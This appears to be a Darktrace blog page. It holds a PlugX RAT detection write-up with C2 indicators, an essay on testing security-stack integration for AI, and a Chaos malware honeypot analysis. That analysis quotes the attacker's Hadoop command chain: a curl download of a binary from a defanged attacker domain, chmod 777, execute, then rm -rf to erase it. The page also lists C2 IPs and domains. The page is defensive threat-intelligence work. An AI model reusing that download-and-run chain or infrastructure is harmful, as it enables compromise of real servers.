Blog
/
Network
/
November 6, 2023

How PlugX Malware Has Evolved & Adapted

Discover how Darktrace effectively detected and thwarted the PlugX remote access trojan in 2023 despite its highly evasive and adaptive nature.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nahisha Nobregas
SOC Analyst
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
06
Nov 2023

What is PlugX Remote Access Trojan?

Understanding remote access trojans (RATs)

As malicious actors across the threat landscape continue to pursue more efficient and effective ways of compromising target networks, all while remaining undetected by security measures, it is unsurprising to see an increase in the use of remote access trojans (RATs) in recent years. RATs typically operate stealthily, evading security tools while offering threat actors remote control over infected devices, allowing attackers to execute a wide range of malicious activities like data theft or installing additional malware.

Definition and general functionality of RATs: A Remote Access Trojan (RAT) is a type of malware that enables unauthorized remote control of an infected computer. Once installed, RATs allow attackers to monitor user activities, steal sensitive information, manipulate files, and execute commands. RATs are typically distributed via phishing emails, malicious attachments, drive-by downloads, or exploiting software vulnerabilities. Due to their ability to provide comprehensive control over a compromised system, RATs pose a significant security threat to individuals and organizations.

Historical overview of PlugX

PlugX is one such example of a RAT that has attributed to Chinese threat actors such as Mustang Panda, since it first appeared in the wild back in 2008. It is known for its use in espionage, a modular and plug-in style approach to malware development. It has the ability to evolve with the latest tactics, techniques, and procedures (TTPs) that allow it to avoid the detection of traditional security tools as it implants itself target devices.

How does PlugX work?

The ultimate goal of any RAT is to remotely control affected devices with a wide range of capabilities, which in PlugX’s case has typically included rebooting systems, keylogging, managing critical system processes, and file upload/downloads. One technique PlugX heavily relies on is dynamic-link library (DLL) sideloading to infiltrate devices. This technique involves executing a malicious payload that is embedded within a benign executable found in a data link library (DLL) [1]. The embedded payload within the DLL is often encrypted or obfuscated to prevent detection.

What’s more, a new variant of PlugX was observed in the wild across Papua New Guinea, Ghana, Mongolia, Zimbabwe, and Nigeria in August 2022, that added several new capabilities to its toolbox.

Key capabilities of PlugX

The new variation is reported to continuously monitor affected environments for new USB devices to infect, allowing it to spread further through compromised networks [2]. It is then able to hide malicious files within a USB device by using a novel technique that prevents them from being viewed on Windows operating systems (OS). These hidden files can only be viewed on a Unix-like (.nix) OS, or by analyzing an affected USB devices with a forensic tool [2]. The new PlugX variant also has the ability to create a hidden directory, “RECYCLER.BIN”, containing a collection of stolen documents, likely in preparation for exfiltration via its command and control (C2) channels. [3]

Since December 2022, PlugX has been observed targeting networks in Europe through malware delivery via HTML smuggling campaigns, a technique that has been dubbed SmugX [4].

This evasive tactic allows threat actors to prepare and deploy malware via phishing campaigns by exploiting legitimate HTML5 and JavaScript features [5].

Darktrace Coverage of PlugX

Between January and March 2023, Darktrace observed activity relating to the PlugX RAT on multiple customers across the fleet. While PlugX’s TTPs may have bypassed traditional security tools, the anomaly-based detection capabilities of Darktrace allowed it to identify and alert the subtle deviations in the behavior of affected devices, while Darktrace was able to take immediate mitigative action against such anomalous activity and stop attackers in their tracks.  

C2 Communication

Between January and March 2023, Darktrace detected multiple suspicious connections related to the PlugX RAT within customer environments. When a device has been infected, it will typically communicate through C2 infrastructure established for the PlugX RAT. In most cases observed by Darktrace, affected devices exhibited suspicious C2 connections to rare endpoints that were assessed with moderate to high confidence to be linked to PlugX.

On the network of one Darktrace customer the observed communication was a mix of successful and unsuccessful connections at a high volume to rare endpoints on ports such as 110, 443, 5938, and 80. These ports are commonly associated with POP3, HTTPS, TeamViewer RDP / DynGate, and HTTP, respectively.  Figure 1 below showcases this pattern of activity.

Figure 1: Model Breach Event Log demonstrating various successful and unsuccessful connections to the PlugX C2 endpoint 103.56.53[.]46 via various destination ports.

On another customer’s network, Darktrace observed C2 communication involving multiple failed connection attempts to another rare external endpoint associated with PlugX. The device in this case was detected attempting connections to the endpoint, 45.142.166[.]112 on ports 110, 80, and 443 which caused the DETECT model ‘Anomalous Connection / Multiple Failed Connections to Rare Endpoint’ to breach. This model examines devices attempting connections to a rare external endpoint over a short period of time, and it breached in response to almost all PlugX C2 related activity detected by Darktrace. This highlights Darktrace DETECT’s unique ability to identify anomalous activity which appears benign or uncertain, rather than relying on traditional signature-based detections.

Figure 2: Device Event Log demonstrating various successful and unsuccessful connections to the PlugX C2 endpoint 45.142.166[.]112 via various destination on January 27, 2023.

New User Agent

Darktrace's Self-Learning AI approach to threat detection also allowed it to recognize connections to PlugX associated endpoints that utilized a new user agent. In almost all connections to PlugX endpoints detected by Darktrace, the same user agent, Mozilla/5.0 (Windows NT 10.0;Win64;x64)AppleWebKit/537.36, was observed, illustrating a clear pattern in PlugX-related activity

In one example from February 2023, an affected device successfully connected to an endpoint associated with PlugX, 45.142.166[.]112, while using the aforementioned new user agent, as depicted in Figure 3.

Figure 3: The Device Event log above showcases a successful connection to the PlugX associated IP address, 45.142.166[.]112 using the new user agent ‘Mozilla/5.0 (Windows NT 10.0;Win64;x64)AppleWebKit/537.36’.

On March 21, 2023, Darktrace observed similar activity on a separate customer’s network affected by connections to PlugX. This activity included connections to the same endpoint, 45.142.166[.]112. The connection was an HTTP POST request made via proxy with the same new user agent, ‘Mozilla/5.0 (Windows NT 10.0;Win64;x64)AppleWebKit/537.36’. When investigated further this user agent actually reveals very little about itself and appears to be missing a couple of common features that are typically contained in a user agent string, such as a web browser and its version or the mention of Safari before its build ID (‘537.36’).

Additionally, for this connection the URI observed consisted of a random string of 8 hexadecimal characters, namely ‘d819f07a’. This is a technique often used by malware to communicate with its C2 servers, while evading the detection of signature-based detection tools. Darktrace, however, recognized that this external connection to an endpoint with no hostname constituted anomalous behavior, and could have been indicative of a threat actor communicating with malicious infrastructure, thus the ‘Anomalous Connection / Possible Callback URI’ model was breached.

Figure 4: An affected device was detected using the new user agent, ‘Mozilla/5.0 (Windows NT 10.0;Win64;x64)AppleWebKit/537.36’ while connecting to the rare external endpoint 45.142.166[.]112 via proxy.

Numeric File Download

Darktrace’s detection of PlugX activity on another customer’s network, in February 2023, helped to demonstrate related patterns of activity within the C2 communication and tooling attack phases. Observed PlugX activity on this network followed the subsequent pattern; a connection to a PlugX endpoints is made, followed by a HTTP POST request to a numeric URI with a random string of 8 hexadecimal characters, as previously highlighted. Darktrace identified that this activity represented unusual ‘New Activity’ for this device, and thus treated it with suspicion.

Figure 5: New activity was identified by Darktrace in the Device Event Log shown above for connections to the endpoint 45.142.166[.]112 followed by HTTP POSTs to URIs “/8891431c” and “/ba12b866” on February 15, 2023.

The device in question continued to connect to the endpoint and make HTTP POST connections to various URIs relating to PlugX. Additionally, the user agent `Mozilla/5.0 (Windows NT 10.0;Win64;x64)AppleWebKit/537.36` was again detected for these connections. Figure 6 details the activity captured by Darktrace’s Cyber AI Analyst.

Figure 6: The image above showcases activity captured by Darktrace’s AI Analyst for PlugX connections made on February 15, 2023.

Darktrace detected that during these connections, the device in question attempted to download a suspicious file named only with numbers. The use of numeric file names is a technique often used by threat actors to obfuscate the download of malicious files or programs and bypass traditional security tools. Darktrace understood that the download of a numeric file, coupled with the use of an anomalous new user agent, mean the incident should be treated with suspicion. Fortunately, Darktrace RESPOND was enabled in autonomous response mode during this attack, meaning it was able to automatically block the device from downloading the file, or any other files, from the suspicious external location for a two-hour period, potentially preventing the download of PlugX’s malicious tooling.

Conclusion

Amid the continued evolution of PlugX from an espionage tool to a more widely available malware, it is essential that threat detection does not rely on a set of characteristics or indicators, but rather is focused on anomalies. Throughout these cases, Darktrace demonstrated the efficacy of its detection and alerting on emerging activity pertaining to a particularly stealthy and versatile RAT. Over the years, PlugX has continually looked to evolve and survive in the ever-changing threat landscape by adapting new capabilities and TTPs through which it can infect a system and spread to new devices without being noticed by security teams and their tools.

However, Darktrace’s Self-Learning AI allows it to gain a strong understanding of customer networks, learning what constitutes expected network behavior which in turn allows it to recognize the subtle deviations indicative of an ongoing compromise.

Darktrace’s ability to identify emerging threats through anomaly-based detection, rather than relying on established threat intelligence, uniquely positions it to detect and respond to highly adaptable and dynamic threats, like the PlugX malware, regardless of how it may evolve in the future.

Credit to: Nahisha Nobregas, SOC Analyst & Dylan Hinz, Cyber Analyst

Appendices

MITRE ATT&CK Framework

Execution

  • T1059.003 Command and Scripting Interpreter: Windows Command Shell

Persistence and Privilege Escalation

  • T1547.001 Boot or Logon AutoStart Execution: Registry Run Keys / Startup Folder
  • T1574.001 Hijack Execution Flow: DLL Search Order Hijacking
  • T1574.002 Hijack Execution Flow: DLL Side-Loading
  • T1543.003 Create or Modify System Process: Windows Service
  • T1140 Deobfuscate / Decode Files or Information
  • T1083 File and Directory Discovery

Defense Evasion

  • T1564.001 Hide Artifacts: Hidden Files and Directories
  • T1036.004 Masquerading: Task or Service
  • T1036.005 Masquerading: Match Legitimate Name or Location
  • T1027.006 Obfuscated Files or Information: HTML Smuggling

Credential Access

  • T1056.001 Input Capture: Keylogging

Collection

  • T1105 Ingress Tool Transfer

Command and Control

  • T1573.001 Encrypted Channel: Symmetric Cryptography
  • T1070.003 Mail Protocols
  • T1071.001 Web Protocol

DETECT Model Breaches

  • Anomalous Connection / Multiple Failed Connections to Rare Endpoint
  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / New User Agent Followed By Numeric File Download
  • Anomalous Connection / Possible Callback URL

Indicators of Compromise (IoCs)

IoC - Type - Description + Confidence

45.142.166[.]112 - IP - PlugX C2 Endpoint / moderate - high

103.56.53[.]46 - IP - PlugX C2 Endpoint / moderate - high

Mozilla/5.0 (Windows NT 10.0;Win64;x64)AppleWebKit/537.36 - User Agent - PlugX User Agent / moderate – high

/8891431c - URI - PlugX URI / moderate-high

/ba12b866 - URI - PlugX URI / moderate -high

References

1. https://www.crowdstrike.com/blog/dll-side-loading-how-to-combat-threat-actor-evasion-techniques/

2. https://unit42.paloaltonetworks.com/plugx-variants-in-usbs/

3. https://news.sophos.com/en-us/2023/03/09/border-hopping-plugx-usb-worm/

4. https://thehackernews.com/2023/07/chinese-hackers-use-html-smuggling-to.html

5. https://www.cyfirma.com/outofband/html-smuggling-a-stealthier-approach-to-deliver-malware/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nahisha Nobregas
SOC Analyst

More in this series

No items found.

Blog

/

/

April 8, 2026

How to Secure AI and Find the Gaps in Your Security Operations

secuing AI testing gaps security operationsDefault blog imageDefault blog image

What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

Continue reading
About the author
Nabil Zoldjalali
VP, Field CISO

Blog

/

/

April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer
Your data. Our AI.
Elevate your network security with Darktrace AI